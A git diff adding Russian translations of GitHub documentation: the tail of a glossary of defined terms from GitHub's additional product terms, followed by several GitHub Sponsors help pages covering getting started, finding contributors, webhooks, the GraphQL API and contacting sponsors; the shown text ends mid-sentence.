GitHub Connect регулируется условиями GitHub Connect, изложенными в разделе [Дополнительные условия для продуктов GitHub](/github/site-policy/github-additional-product-terms). + +**"Контент"** означает, помимо прочего, текст, данные, статьи, изображения, фотографии, графику, программное обеспечение, приложения, проекты, функции и другие материалы, которые представлены, отображаются или иным образом доступны через Сервис. + +**«Корпоративная учетная запись»** означает учетную запись, созданную Пользователем от имени юридического лица. + +**"Клиент"**  — совокупное обозначение компании или организации, которая приняла эти Дополнительные условия GitHub, нажав кнопку "Принимаю" или аналогичную кнопку или получив доступ к Продуктам, а также Аффилированных лиц и Представителей Клиента. + +**«Клиентский контент»** означает Контент, который Клиент создает, которым Клиент владеет или права на который принадлежат Клиенту. + +**"Модификации Клиентом"** означает модификации Программного обеспечения, которые Клиент вправе вносить самостоятельно по своему усмотрению в целях разработки исправления ошибок, индивидуальной настройки или дополнительных функций библиотек, лицензированных лицензиями с открытым кодом, которые могут быть включены в Программное обеспечение или связаны с ним. + +**"Документация"**  — любые руководства, документация и другие вспомогательные материалы, относящиеся к Программному обеспечению или Службе, которые GitHub предоставляет или делает доступными для Клиента. + +**"Дата вступления в силу"** является более ранней из дат, когда Клиент (i) принимает эти Дополнительные условия GitHub, как описано выше, или (ii) впервые размещает заказ на Продукты. + +**"Основные службы"** означают службы, необходимые для основных функций управления версиями GitHub, включая создание репозиториев, создание вилок и клонов; создание, фиксацию и слияние ветвей; создание, проверку и слияние запросов на вытягивание, а также веб-интерфейсы, API и клиентские интерфейсы Git для основных рабочих процессов Git. Ниже приведены примеры периферийных функций и служб, которые не включены в Программное обеспечение: веб-перехватчики, объекты Gist, страницы и уведомления по электронной почте. + +**«Внешний пользователь»** означает физическое лицо, не включая Пользователей клиента, которые посещают или используют Сервис. + +**"Сборы"** означают вознаграждение, которое Клиент должен заплатить GitHub за (i) использование Продуктов в течение применимого Срока действия Подписки или (ii) получение Профессиональных услуг, как это отражено в Форме заказа или ТЗ. + +**"Обратная связь"**  — любые идеи, ноу-хау, алгоритмы, дополнения к коду, предложения, запросы на улучшение, рекомендации или любые другие отзывы о продуктах либо услугах GitHub. + +**«Вилка»** означает копирование Контента одного репозитория в другой репозиторий. + +**GitHub** означает GitHub, Inc., ее Аффилированных лиц и ее Представителей. + +**«Контент GitHub»** означает Контент, который GitHub создает, которым GitHub владеет или права на который принадлежат GitHub. + +**"GitHub Insights"** или **"Insights"**  — компонент Программного обеспечения, который предоставляет Клиентам метрики, аналитику и рекомендации, касающиеся использования Клиентами Программного обеспечения. GitHub Insights не включает устаревшие функции GitHub, в том числе аналитику организации и аналитику репозитория. + +**"Учебная лаборатория для Enterprise Server"**  — компонент Программного обеспечения, который позволяет Пользователям изучить функциональные возможности GitHub, в том числе сопутствующую Документацию. + +**"Ключ лицензии"** означает файл данных, используемый механизмом управления доступом к Программному обеспечению, который позволяет Клиенту устанавливать, эксплуатировать и использовать Программное обеспечение. + +**«Учетная запись компьютера»** означает учетную запись, зарегистрированную отдельным человеком, который принимает применимые условия обслуживания от имени Учетной записи компьютера, предоставляет действительный адрес электронной почты и несет ответственность за действия, выполняемые с использованием этой учетной записи. Учетная запись компьютера используется исключительно для выполнения автоматизированных задач. Несколько пользователей могут управлять действиями Учетной записи компьютера, но владелец учетной записи несет полную ответственность за действия компьютера. + +**"Форма заказа"** означает письменную или электронную документацию (включая расценки), которую Стороны могут использовать для заказа Продуктов. + +**«Организация»** означает общее рабочее пространство, которое может быть связано с одним юридическим лицом или с одним или несколькими Пользователями, где несколько Пользователей могут совместно работать над многими проектами одновременно. Пользователь может быть членом более чем одной Организации. + +**"Сбой"** означает прерывание работы Основной службы, которая затрагивает более 50 % Активных пользователей. + +**«Частный репозиторий»** означает репозиторий, который позволяет Пользователю контролировать доступ к Контенту. + +**"Профессиональные услуги"** означают услуги по обучению, консультированию или внедрению, которые GitHub предоставляет в соответствии с взаимно исполняемым ТЗ. Профессиональные услуги не включают Поддержку. + +**«Общедоступный репозиторий»** означает репозиторий, Контент которого виден Всем пользователям. + +**"Выпуск"** означает выпуск Программного обеспечения, который GitHub делает общедоступным для своих Клиентов, а также все соответствующие изменения в Документации, которая содержит описание улучшений, новых функций или новых функциональных возможностей; они, как правило, обозначаются изменением цифры справа от первой десятичной запятой (например, с x.x.x до x.y.x) или слева от первой десятичной запятой (например, с x.x.x до y.x.x). + +**"Представители"** означают сотрудников, агентов, независимых подрядчиков, консультантов, юридических и финансовых консультантов Стороны. + +**«Скрейпинг»** означает извлечение данных из Сервиса с помощью автоматизированного процесса, такого как бот или веб-краулер, и не включает сбор информации через API GitHub. + +**"Сервис"** означает размещенную службу GitHub в Облаке предприятия. Сервис включает в себя учетные записи Организации, единый вход SAML, подготовку доступа и всю соответствующую Документацию. Этот список функций и служб не является исчерпывающим и может время от времени обновляться. + +**"Компенсация за обслуживание"** означает компенсацию в долларах США, рассчитываемую, как указано ниже, которую GitHub может зачислить обратно на уполномоченный счет. + +**"Программное обеспечение"**  — локальное программное обеспечение GitHub Enterprise Server. Программное обеспечение включает функцию GitHub Connect, всю сопутствующую Документацию, все Обновления Программного обеспечения, которые GitHub предоставляет Клиенту или к которым Клиент может получить доступ в соответствии с этими Дополнительными условиями GitHub, и (если включено в подписку Клиента) Дополнительное программное обеспечение. + +**"ТЗ"**  — оформленное в двустороннем порядке техническое задание с подробным описанием Профессиональных услуг, которые будет выполнять GitHub, любых связанных сборов и соответствующих обязательств каждой стороны. + +**"Лицензия на подписку"** означает лицензию, назначенную каждому Пользователю для установки, эксплуатации, доступа и использования Продуктов от имени Клиента. Клиент может назначить только одну Лицензию на подписку для каждого Пользователя в своих экземплярах GitHub Enterprise Server и облачных организациях в Облаке предприятия GitHub. Каждый Пользователь будет иметь доступ к такому количеству экземпляров Enterprise Server или организаций в Облаке предприятия, которое разрешено Клиентом. Но для ясности следует отметить, что после того, как Клиент передаст Лицензию на подписку Пользователю, Клиент не будет уполномочен разделять Лицензию на подписку таким образом, чтобы один Пользователь мог использовать Лицензию на подписку на Enterprise Server, а другой Пользователь использовал ту же Лицензию на подписку на другой экземпляр GitHub Enterprise Server или организацию в GitHub Enterprise Cloud. Лицензии на подписку предоставляются для каждого Пользователя, несколько Пользователей не могут использовать одну и ту же Лицензию на подписку. Клиент может передать Лицензию на подписку новому Пользователю только по истечении девяноста (90) дней с момента последней передачи той же Лицензии на подписку, за исключением случаев, когда передача связана с (i) необратимым отказом или потерей оборудования, (ii) увольнением Пользователя или прекращением действия договора или (iii) временным перераспределением Лицензий на подписку для компенсации отсутствия Пользователя. Когда Клиент передает Лицензию на подписку от одного Пользователя другому, Клиент должен заблокировать доступ прежнего Пользователя к Лицензии на подписку и Организациям клиента. + +**"Срок действия подписки"**  — один (1) год с даты вступления в силу заказа или иной срок, указанный в Форме заказа. + +**"Поддержка"** означает техническую поддержку Программного обеспечения или Сервиса, которую может предоставлять GitHub. + +**"Обновление"**  — выпуск Программного обеспечения, который GitHub делает общедоступным для своих Клиентов, а также все соответствующие изменения в Документации, которая содержит исправление ошибок; как правило, обозначается изменением цифры справа от второй десятичной точки (например, с x.x.x до x.x.y). + +**"Время доступности"**  — время (в процентном выражении) в определенном квартале, когда Основные службы GitHub работают бесперебойно и без Сбоев, затрагивающих более 50 % активных пользователей. + +**"Пользователь"**  — (i) в отношении Программного обеспечения: Учетная запись физического лица или компьютера, которая инициирует запуск Программного обеспечения, взаимодействует с Программным обеспечением или контролирует производительность его функций; (ii) в отношении Службы: Учетная запись физического лица или компьютера, которая: а) осуществляет доступ к Службе или использует ее; б) использует любую часть учетной записи Клиента или осуществляет к ней доступ; в) контролирует использование учетной записи Клиента в плане производительности функций (во всех случаях от имени Пользователя). Количество Пользователей не должно превышать количество Лицензий на подписку, которые приобрел Клиент. + +**«Контент, создаваемый пользователями»** означает Контент, созданный или принадлежащий третьему лицу или Внешнему пользователю. diff --git a/translations/ru-RU/content/site-policy/site-policy-deprecated/index.md b/translations/ru-RU/content/site-policy/site-policy-deprecated/index.md new file mode 100644 index 000000000000..bf4ec0f3256c --- /dev/null +++ b/translations/ru-RU/content/site-policy/site-policy-deprecated/index.md @@ -0,0 +1,25 @@ +--- +title: Статьи о нерекомендуемых политиках сайта +allowTitleToDifferFromFilename: true +hidden: true +redirect_from: + - /github/site-policy-deprecated +versions: + fpt: '*' +children: + - /amendment-to-github-terms-of-service-applicable-to-us-federal-government-users + - /github-ae-data-protection-agreement + - /github-ae-product-specific-terms + - /github-enterprise-cloud-evaluation-agreement + - /github-enterprise-server-license-agreement + - /github-enterprise-service-level-agreement + - /github-enterprise-subscription-agreement + - /github-supplemental-terms-for-microsoft-volume-licensing +ms.openlocfilehash: 86a5ed109b7ef13b19eff0104d992f012556f3f5 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099274' +--- + diff --git a/translations/ru-RU/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md b/translations/ru-RU/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md new file mode 100644 index 000000000000..2c6b059f94a2 --- /dev/null +++ b/translations/ru-RU/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md @@ -0,0 +1,58 @@ +--- +title: О спонсорах GitHub +intro: '{% data variables.product.prodname_sponsors %} позволяет сообществу разработчиков финансово поддерживать людей и организации, которые проектируют, создают и поддерживают проекты с открытым кодом, от которых они зависят, непосредственно в {% data variables.product.product_name %}.' +redirect_from: + - /articles/about-github-sponsors + - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Open Source + - Fundamentals +ms.openlocfilehash: 7fd54eb981d9083b1c5a0cc843834ecdfc895a8a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145149703' +--- +## Сведения о {% data variables.product.prodname_sponsors %} + +{% data reusables.sponsors.sponsorship-details %} + +{% data reusables.sponsors.no-fees %} Дополнительные сведения см. в разделе [О выставлении счетов за {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors). + +{% data reusables.sponsors.you-can-be-a-sponsored-developer %} Дополнительные сведения см. в разделах [Сведения о {% data variables.product.prodname_sponsors %} для участников разработки программного обеспечения с открытым кодом](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors) и [Настройка {% data variables.product.prodname_sponsors %} для личной учетной записи](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account). + +{% data reusables.sponsors.you-can-be-a-sponsored-organization %} Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_sponsors %} для вашей организации](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). + +Когда вы становитесь спонсируемым разработчиком или спонсируемой организацией, применяются дополнительные условия для {% data variables.product.prodname_sponsors %}. Дополнительные сведения см. в разделе [Дополнительные условия для спонсоров GitHub](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms). + +## Сведения о {% data variables.product.prodname_matching_fund %} + +{% note %} + +**Примечание.** {% data reusables.sponsors.matching-fund-eligible %} + +{% endnote %} + +{% data variables.product.prodname_matching_fund %} предоставляет ряд преимуществ для участников сообщества {% data variables.product.prodname_dotcom %}, которые занимаются разработкой программного обеспечения с открытым кодом в соответствии с [правилами сообщества {% data variables.product.prodname_dotcom %}](/free-pro-team@latest/github/site-policy/github-community-guidelines). Платежи спонсируемым организациям и платежи от организаций не соответствуют требованиям для получения {% data variables.product.prodname_matching_fund %}. + +Чтобы иметь право на {% data variables.product.prodname_matching_fund %}, необходимо создать профиль, привлекательный для сообщества, которое будет поддерживать вас в долгосрочной перспективе. Дополнительные сведения о создании эффективного профиля см. в разделе [Изменение сведений о профиле для {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors). + +Пожертвования для различных спонсируемых разработчиков не будут сопоставляться друг с другом. + +{% data reusables.sponsors.legal-additional-terms %} + +## Предоставление обратной связи по {% data variables.product.prodname_sponsors %} + +{% data reusables.sponsors.feedback %} + +## Дополнительные материалы +- [Спонсорская поддержка участников разработки открытого кода](/sponsors/sponsoring-open-source-contributors) +- [Получение спонсорской поддержки посредством {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors) +- [Поиск пользователей и организаций, которые способны оказать спонсорскую поддержку](/github/searching-for-information-on-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor) +- [Поиск репозиториев с учетом способности оказывать спонсорскую поддержку](/github/searching-for-information-on-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor) +- [Вопросы и ответы о команде {% data variables.product.prodname_sponsors %} ](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/) для {% data variables.product.prodname_blog %} diff --git a/translations/ru-RU/content/sponsors/getting-started-with-github-sponsors/index.md b/translations/ru-RU/content/sponsors/getting-started-with-github-sponsors/index.md new file mode 100644 index 000000000000..43ce437073e9 --- /dev/null +++ b/translations/ru-RU/content/sponsors/getting-started-with-github-sponsors/index.md @@ -0,0 +1,18 @@ +--- +title: Начало работы с GitHub Sponsors +intro: 'Узнайте о {% data variables.product.prodname_sponsors %} и о том, как можно принять участие в качестве спонсора или участника разработки ПО с открытым кодом.' +versions: + fpt: '*' + ghec: '*' +children: + - /about-github-sponsors + - /quickstart-for-finding-contributors-to-sponsor +shortTitle: Getting started +ms.openlocfilehash: b0d2baf20625b168346a18b3a546ec66e4416d16 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147879162' +--- + diff --git a/translations/ru-RU/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md b/translations/ru-RU/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md new file mode 100644 index 000000000000..eb990d5af3e1 --- /dev/null +++ b/translations/ru-RU/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md @@ -0,0 +1,58 @@ +--- +title: Краткое руководство по поиску участников для спонсирования +intro: Ознакомьтесь с некоторыми рекомендациями по поиску участников разработки ПО с открытым кодом для спонсорской поддержки. +versions: + fpt: '*' + ghec: '*' +type: quick_start +topics: + - Open Source +shortTitle: Quickstart +ms.openlocfilehash: 334d0b78547732480d0bcf708c1d2194eebbae17 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145118835' +--- +## Изучение проектов, от которых вы зависите + +Размышляя о том, где найти участников разработки открытого кода для спонсирования, подумайте о том, чтобы начать с https://github.com/sponsors/community. + +Если вы вошли в систему, результаты спонсоров будут начинаться с общедоступных зависимостей, от которых зависят репозитории. + +![Проект Babel с открытым кодом с выделенным текстом, в котором говорится, что "4 из ваших репозиториев зависят от этого"](/assets/images/help/sponsors/example-of-open-source-project-dependency.png) + +Можно также переключать учетные записи для просмотра результатов и дальнейшей фильтрации или поиска. + +![Параметры на странице поиска спонсоров сообщества](/assets/images/help/sponsors/sponsors-search-options.png) + +## Изучение того, кого спонсируют другие + +Вы можете увидеть, кого спонсирует пользователь или организация, на странице его профиля {% data variables.product.prodname_dotcom %}. + +## Подумайте о том, как вы получаете преимущество от различных вкладов + +Подумайте, получаете ли вы какое-либо преимущество от работы вкладов с открытым кодом, включая указанные ниже. + - Документация + - Конструирование + - Перевод + - Информационные бюллетени + - проверка кода; + - Учебники + - Наставничество + - Рассмотрение проблем и помощь в управлении проектами + - Ответы на вопросы + - Планирование событий + +Дополнительные сведения о различных типах вкладов с открытым кодом см. в [руководстве по открытому коду](https://opensource.guide/how-to-contribute/#you-dont-have-to-contribute-code). + +Вы можете проверить, есть ли у участников, благодаря которым вы получили преимущество, профили {% data variables.product.prodname_sponsors %}, воспользовавшись поиском по адресу https://github.com/sponsors/community. + +## Поиск определенного проекта или участника + +На https://github.com/sponsors/community можно выполнять поиск по экосистеме, наиболее используемым, недавно обновленным и т. д. Можно отфильтровать результаты поиска для личной учетной записи или для организаций, в которых вы являетесь членом. + +## Дальнейшие действия + +Дополнительные сведения о начале спонсорства см. в разделе [Спонсорство участника с открытым кодом](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor). diff --git a/translations/ru-RU/content/sponsors/guides.md b/translations/ru-RU/content/sponsors/guides.md new file mode 100644 index 000000000000..291be8c937b5 --- /dev/null +++ b/translations/ru-RU/content/sponsors/guides.md @@ -0,0 +1,25 @@ +--- +title: Руководства по спонсорам GitHub +shortTitle: Guides +intro: 'Узнайте, как максимально эффективно использовать {% data variables.product.prodname_sponsors %}.' +allowTitleToDifferFromFilename: true +layout: product-guides +versions: + fpt: '*' + ghec: '*' +includeGuides: + - /sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor + - /sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization + - /sponsors/sponsoring-open-source-contributors/managing-your-sponsorship + - /sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors + - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account + - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization + - /sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account +ms.openlocfilehash: 334f25f2ee44fb7a69c13745f3b0d883ed499fbc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139782' +--- + diff --git a/translations/ru-RU/content/sponsors/index.md b/translations/ru-RU/content/sponsors/index.md new file mode 100644 index 000000000000..150957616c0f --- /dev/null +++ b/translations/ru-RU/content/sponsors/index.md @@ -0,0 +1,51 @@ +--- +title: Документация по спонсорам GitHub +shortTitle: GitHub Sponsors +intro: 'Инвестируйте в значимые проекты с открытым кодом, от которых вы зависите, обеспечьте поддержку цифровой инфраструктуры и создайте рабочие места для разработчиков ПО с открытым кодом за счет спонсорской поддержки участников разработки ПО С открытым кодом и их проектов. Создайте профиль {% data variables.product.prodname_sponsors %} и получите компенсацию за работу над ПО с открытым кодом.' +introLinks: + quickstart: /sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor +redirect_from: + - /categories/supporting-the-open-source-community-with-github-sponsors + - /github/supporting-the-open-source-community-with-github-sponsors +changelog: + label: sponsors +examples_source: data/product-examples/sponsors/user-examples.yml +featuredLinks: + guides: + - /sponsors/sponsoring-open-source-contributors/managing-your-sponsorship + - /sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization + - /sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors + guideCards: + - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account + - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization + - /sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account + popular: + - /sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor + - /sponsors/getting-started-with-github-sponsors/about-github-sponsors + - /sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors + - /sponsors/sponsoring-open-source-contributors + - /sponsors/about-github-sponsors-for-open-source-contributors +layout: product-landing +versions: + fpt: '*' + ghec: '*' +communityRedirect: + name: Provide GitHub Feedback + href: 'https://github.com/orgs/community/discussions/categories/sponsors' +children: + - /getting-started-with-github-sponsors + - /sponsoring-open-source-contributors + - /receiving-sponsorships-through-github-sponsors + - /integrating-with-github-sponsors + - /guides +ms.openlocfilehash: 1878df4a6915a3e1336f79705d4ac4e70794e7ed +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878434' +--- + + + + diff --git a/translations/ru-RU/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md b/translations/ru-RU/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md new file mode 100644 index 000000000000..79a9139eede7 --- /dev/null +++ b/translations/ru-RU/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md @@ -0,0 +1,28 @@ +--- +title: Настройка веб-перехватчиков для событий в спонсируемой учетной записи +intro: 'Вы можете настроить веб-перехватчики, чтобы получать оповещения о новых спонсорских предложениях или об изменениях спонсорами существующих спонсорских предложений.' +redirect_from: + - /github/supporting-the-open-source-community-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Webhooks + - Events + - Open Source +shortTitle: Webhooks for events +ms.openlocfilehash: 2ac78162ae29c10861c7bf3bad8c18b9e0a56ccf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145118832' +--- +## Сведения о настройке веб-перехватчиков для событий в спонсируемой учетной записи + +Чтобы отслеживать изменения спонсорства, например отмену в конце периода оплаты, можно создать веб-перехватчики для спонсируемой учетной записи пользователя или организации. При настройке веб-перехватчика для спонсируемой учетной записи вы будете получать обновления при создании, редактировании или удалении спонсорства. Дополнительные сведения см. в разделе [`sponsorship`Событие веб-перехватчика](/webhooks/event-payloads/#sponsorship). + +## Управление веб-перехватчиками для событий в спонсируемой учетной записи + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-webhooks-tab %} {% data reusables.sponsors.add-webhook %} {% data reusables.sponsors.add-payload-url %} {% data reusables.sponsors.webhook-content-formatting %} {% data reusables.sponsors.webhook-secret-token %} {% data reusables.sponsors.add-active-triggers %} {% data reusables.sponsors.confirm-add-webhook %} {% data reusables.sponsors.manage-existing-webhooks %} diff --git a/translations/ru-RU/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md b/translations/ru-RU/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md new file mode 100644 index 000000000000..f420698e19bc --- /dev/null +++ b/translations/ru-RU/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md @@ -0,0 +1,21 @@ +--- +title: Начало работы с API GraphQL спонсоров +intro: API GraphQL позволяет создавать пользовательские интеграции для управления спонсорством и проверки его состояния. +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - GraphQL + - API +shortTitle: Sponsors GraphQL API +ms.openlocfilehash: 1afbeef41cfbc0aa5bd51b2edb6fa475244b04a5 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147081075' +--- +Чтобы приступить к работе с API GraphQL, см. раздел [Общие сведения о GraphQL](/graphql/guides/introduction-to-graphql). + +Сведения об API GraphQL спонсоров см. в справочной документации. Дополнительные сведения см. в разделе [Справочник по GraphQL](/graphql/reference). Рекомендуется использовать обозреватель GraphQL для создания вызовов GraphQL. Дополнительные сведения см. в разделе [Использование обозревателя](/graphql/guides/using-the-explorer). diff --git a/translations/ru-RU/content/sponsors/integrating-with-github-sponsors/index.md b/translations/ru-RU/content/sponsors/integrating-with-github-sponsors/index.md new file mode 100644 index 000000000000..f312315a9557 --- /dev/null +++ b/translations/ru-RU/content/sponsors/integrating-with-github-sponsors/index.md @@ -0,0 +1,18 @@ +--- +title: Интеграция с GitHub Sponsors +intro: 'Как участник разработки продуктов с открытым кодом, вы можете создавать пользовательские средства для управления спонсорскими предложениями GitHub.' +versions: + fpt: '*' + ghec: '*' +children: + - /configuring-webhooks-for-events-in-your-sponsored-account + - /getting-started-with-the-sponsors-graphql-api +shortTitle: Integrate with GitHub Sponsors +ms.openlocfilehash: b8d60be02230221c5df44250c21c1a0577e70975 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145139454' +--- + diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md new file mode 100644 index 000000000000..4d8b5c093426 --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md @@ -0,0 +1,53 @@ +--- +title: Сведения о GitHub Sponsors для участников разработки открытого кода +intro: 'Если вы приносите значительную пользу проекту с открытым кодом, то имеете шанс стать спонсируемым участником и получать оплату за эту работу.' +redirect_from: + - /articles/about-github-sponsors-for-sponsored-developers + - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors-for-sponsored-developers +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Open Source + - Fundamentals +shortTitle: Open source contributors +ms.openlocfilehash: 4f615dd472873ec9a1e77d0232ceb35bd4ea43a3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145149711' +--- +## Присоединение к {% data variables.product.prodname_sponsors %} + +{% data reusables.sponsors.you-can-be-a-sponsored-developer %} Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_sponsors %} для личной учетной записи](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account). + +{% data reusables.sponsors.you-can-be-a-sponsored-organization %} Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_sponsors %} для вашей организации](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). + +Присоединившись к {% data variables.product.prodname_sponsors %}, можно добавить кнопку "Спонсировать" в репозиторий разработки открытого кода, в который вы вносите свой вклад, чтобы повысить видимость профиля {% data variables.product.prodname_sponsors %} и других платформ финансирования. Дополнительные сведения см. в разделе [Отображение кнопки "Спонсировать" в репозитории](/articles/displaying-a-sponsor-button-in-your-repository). + +Можно задать цель для спонсорства. Дополнительные сведения см. в разделе [Управление целями спонсорства](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal). + +{% data reusables.sponsors.github-contact-applicants %} + +## Уровни спонсорства + +{% data reusables.sponsors.tier-details %} Дополнительные сведения см. в разделах [Настройка {% data variables.product.prodname_sponsors %} для личной учетной записи](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account), [Настройка {% data variables.product.prodname_sponsors %} для организации](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization) и [Управление уровнями спонсорства](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers). + +Лучше всего настроить ряд различных вариантов спонсорства, включая ежемесячные и одноразовые платежи, чтобы любой пользователь мог легко поддержать вашу работу. В частности, одноразовые платежи позволяют пользователям вознаграждать ваши усилия, не беспокоясь о том, смогут ли они поддерживать регулярный график оплаты. + +## Спонсорские выплаты + +{% data reusables.sponsors.no-fees %} + +{% data reusables.sponsors.payout-info %} + +Дополнительные сведения см. в разделе [Управление выплатами от {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors). + +## Предоставление обратной связи по {% data variables.product.prodname_sponsors %} + +{% data reusables.sponsors.feedback %} + +## Дополнительные материалы +- [Вопросы и ответы о команде {% data variables.product.prodname_sponsors %} ](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/) для {% data variables.product.prodname_blog %} diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md new file mode 100644 index 000000000000..5b9b9e9faf73 --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md @@ -0,0 +1,29 @@ +--- +title: Связь со спонсорами +intro: 'Вы можете отправить письмо своим спонсорам, которые настроили для себя получение обновлений о вашей работе.' +redirect_from: + - /articles/contacting-your-sponsors + - /github/supporting-the-open-source-community-with-github-sponsors/contacting-your-sponsors +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Open Source + - Contacting sponsors +ms.openlocfilehash: be107990d079830ecde6c032ea7a2632279c76c7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139774' +--- +## Об обновлениях для спонсорства + +Ваши спонсоры могут выбрать, будут ли они получать по электронной почте новости о вашей работе. Дополнительные сведения см. в разделе [Управление спонсорством](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship). + +Для спонсируемых учетных записей разработчиков обновление будет отправляться с основного адреса электронной почты вашей личной учетной записи. Если в вашей личной учетной записи включена конфиденциальность адресов электронной почты, обновление будет отправляться с `noreply@github.com`. Для спонсируемых организаций обновление будет отправляться с адреса электронной почты `noreply@github.com` 